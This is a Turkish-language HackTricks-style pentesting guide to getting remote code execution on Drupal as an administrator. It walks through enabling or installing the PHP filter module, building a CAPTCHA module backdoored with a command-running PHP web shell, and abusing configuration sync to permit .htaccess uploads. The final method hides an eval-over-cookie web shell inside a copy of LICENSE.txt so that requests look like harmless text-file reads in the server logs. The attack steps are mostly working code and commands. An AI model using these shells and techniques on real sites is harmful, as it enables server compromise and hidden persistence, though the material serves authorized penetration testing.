Drupal RCE

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

PHP Filtre Modülü ile

Drupal'ın (8. sürümden önceki sürümlerinde) eski sürümlerinde, bir yönetici olarak giriş yaparak PHP filtresi modülünü etkinleştirmek mümkündü, bu da "Gömülü PHP kodlarının değerlendirilmesine izin verir." Ancak 8. sürümden itibaren bu modül varsayılan olarak yüklenmez.

Eklenti php'nin yüklü olması gerekiyor (bunu kontrol etmek için /modules/php adresine erişerek kontrol edin ve eğer 403 dönüyorsa, mevcut, eğer bulunamadıysa, o zaman php eklentisi yüklü değil demektir)

Modüller -> (Kontrol Et) PHP Filtresi -> Yapılandırmayı Kaydet

Ardından İçerik Ekle'ye tıklayın -> Temel Sayfa veya Makale seçin -> Gövdede php kabuk kodunu yazın -> Metin formatında PHP kodu seçin -> Önizleme seçin

Son olarak, sadece yeni oluşturulan düğüme erişin:

curl http://drupal-site.local/node/3

PHP Filtre Modülünü Yükle

Mevcut sürümlerde, varsayılan kurulumdan sonra yalnızca web'e erişim sağlayarak eklentileri yüklemek artık mümkün değil.

8 ve sonraki sürümlerde, PHP Filtre modülü artık varsayılan olarak yüklenmiyor. Bu işlevselliği kullanabilmek için modülü kendimiz yüklememiz gerekecek.

  1. Modülün en güncel sürümünü Drupal web sitesinden indirin.

  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

  3. İndirildikten sonra Yönetim > Raporlar > Kullanılabilir güncellemeler bölümüne gidin.

  4. Göz at'e tıklayın, dosyayı indirdiğimiz dizinden seçin ve ardından Yükle'ye tıklayın.

  5. Modül yüklendikten sonra İçerik'e tıklayarak yeni bir temel sayfa oluşturun, Drupal 7 örneğinde yaptığımız gibi. Yine, Metin biçimi açılır menüsünden PHP kodu'nu seçtiğinizden emin olun.

Arka Kapılı Modül

Mevcut sürümlerde, varsayılan kurulumdan sonra yalnızca web'e erişim sağlayarak eklentileri yüklemek artık mümkün değil.

Bir arka kapılı modül, mevcut bir modüle bir kabuk ekleyerek oluşturulabilir. Modüller drupal.org web sitesinde bulunabilir. CAPTCHA gibi bir modül seçelim. Aşağı kaydırın ve tar.gz arşivi için bağlantıyı kopyalayın.

  • Arşivi indirin ve içeriğini çıkarın.

wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • İçeriği olan bir PHP web kabuğu oluşturun:

<?php
system($_GET["cmd"]);
?>
  • Ardından, kendimize klasöre erişim sağlamak için bir .htaccess dosyası oluşturmamız gerekmektedir. Bu, Drupal'ın /modules klasörüne doğrudan erişimi reddettiği için gereklidir.

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • Yukarıdaki yapılandırma, /modules içinde bir dosya istediğimizde / klasörü için kurallar uygulayacaktır. Bu dosyaların her ikisini de captcha klasörüne kopyalayın ve bir arşiv oluşturun.

mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • Website'ye yönetici erişimi olduğunu varsayarak, Yönet üzerine tıklayın ve ardından kenar çubuğunda Genişlet seçeneğine tıklayın. Daha sonra + Yeni modül yükle düğmesine tıklayarak yükleme sayfasına yönlendirileceksiniz, örneğin http://drupal-site.local/admin/modules/install Bağlantısına giderek backdoorlu Captcha arşivine göz atın ve Yükle'ye tıklayın.

  • Kurulum başarılı olduğunda, komutları yürütmek için /modules/captcha/shell.php sayfasına gidin.

Drupal'ı Yapılandırma Senkronizasyonu ile Backdoor Ekleme

Tarafından paylaşılan yazı Coiffeur0x90

Bölüm 1 (Media ve Media Kütüphanesi etkinleştirme)

Etend menüsünde (/admin/modules), zaten yüklü gibi görünen eklentileri etkinleştirebilirsiniz. Varsayılan olarak, Media ve Media Kütüphanesi eklentilerinin etkin olmadığı görünüyor, bu yüzden onları etkinleştirelim.

Etkinleştirmeden önce:

Etkinleştirdikten sonra:

Bölüm 2 (Yapılandırma senkronizasyonu özelliğinden faydalanma)

Drupal yapılandırma girişlerini dökümlemek (dışa aktarmak) ve yüklemek (içe aktarmak) için Yapılandırma senkronizasyonu özelliğinden faydalanacağız:

  • /admin/config/development/configuration/single/export

  • /admin/config/development/configuration/single/import

Sistem dosyasını yama system.file.yml

İlk girişi yamalamaya başlayalım allow_insecure_uploads'den:

Dosya: system.file.yml


...

allow_insecure_uploads: false

...

Dosya: system.file.yml


...

allow_insecure_uploads: true

...

field.field.media.document.field_media_document.yml dosyasını yamultayın

Daha sonra, ikinci girişi şu şekilde yamultayın:

Dosya: field.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

Dosya: field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

Bu blog yazısında kullanmasam da, giriş file_directory'nin keyfi bir şekilde tanımlanabileceği ve yol travması saldırısına açık olduğu belirtilmiştir (bu sayede Drupal dosya sistemi ağacı içinde yukarı çıkabiliriz).

Bölüm 3 (özellik Belge Ekleme kullanımı)

Son adım en basittir ve iki alt adıma ayrılır. İlk adım, .htaccess formatında bir dosya yüklemek ve Apache direktiflerini kullanarak .txt dosyalarının PHP motoru tarafından yorumlanmasına izin vermek için. İkinci adım ise payload içeren bir .txt dosyasını yüklemektir.

Dosya: .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

Neden bu hile harika?

Çünkü Webshell (ki ona LICENSE.txt diyeceğiz) Web sunucusuna bırakıldığında, komutlarımızı $_COOKIE üzerinden iletebiliriz ve Web sunucusu günlüklerinde bu, metin dosyasına yapılmış meşru bir GET isteği olarak görünecektir.

Neden Webshell'imize LICENSE.txt adını verdik?

Basitçe çünkü örneğin şu dosyayı alırsak core/LICENSE.txt (ki zaten Drupal çekirdeğinde bulunmaktadır), 339 satır ve 17.6 KB boyutunda bir dosyaya sahibiz, ki bu dosyaya PHP kodunun küçük bir parçasını eklemek için mükemmeldir (çünkü dosya yeterince büyüktür).

Dosya: Yamasız LICENSE.txt


...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

Bölüm 3.1 (dosya yükleme .htaccess)

İlk olarak, Apache direktiflerini içeren dosyamızı yüklemek için Add Document (/media/add/document) özelliğini kullanıyoruz.

Bölüm 3.2 (dosya yükleme LICENSE.txt)

Ardından, lisans dosyası içinde gizlenmiş bir Webshell yüklemek için Add Document (/media/add/document) özelliğini tekrar kullanıyoruz.

Bölüm 4 (Webshell ile etkileşim)

Son bölüm, Webshell ile etkileşimde bulunmayı içerir.

Aşağıdaki ekran görüntüsünde gösterildiği gibi, Webshell tarafından beklenen çerez tanımlanmamışsa, dosyayı bir Web tarayıcısı aracılığıyla danıştığımızda sonuç aşağıdaki gibi olur.

Saldırgan çerezi ayarladığında, Webshell ile etkileşimde bulunabilir ve istediği herhangi bir komutu çalıştırabilir.

Ve loglarda gördüğünüz gibi, yalnızca bir txt dosyasının istendiği görünüyor.

Bu makaleyi okuduğunuz için teşekkür ederim, umarım size bazı kabuklar elde etmenize yardımcı olur.

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated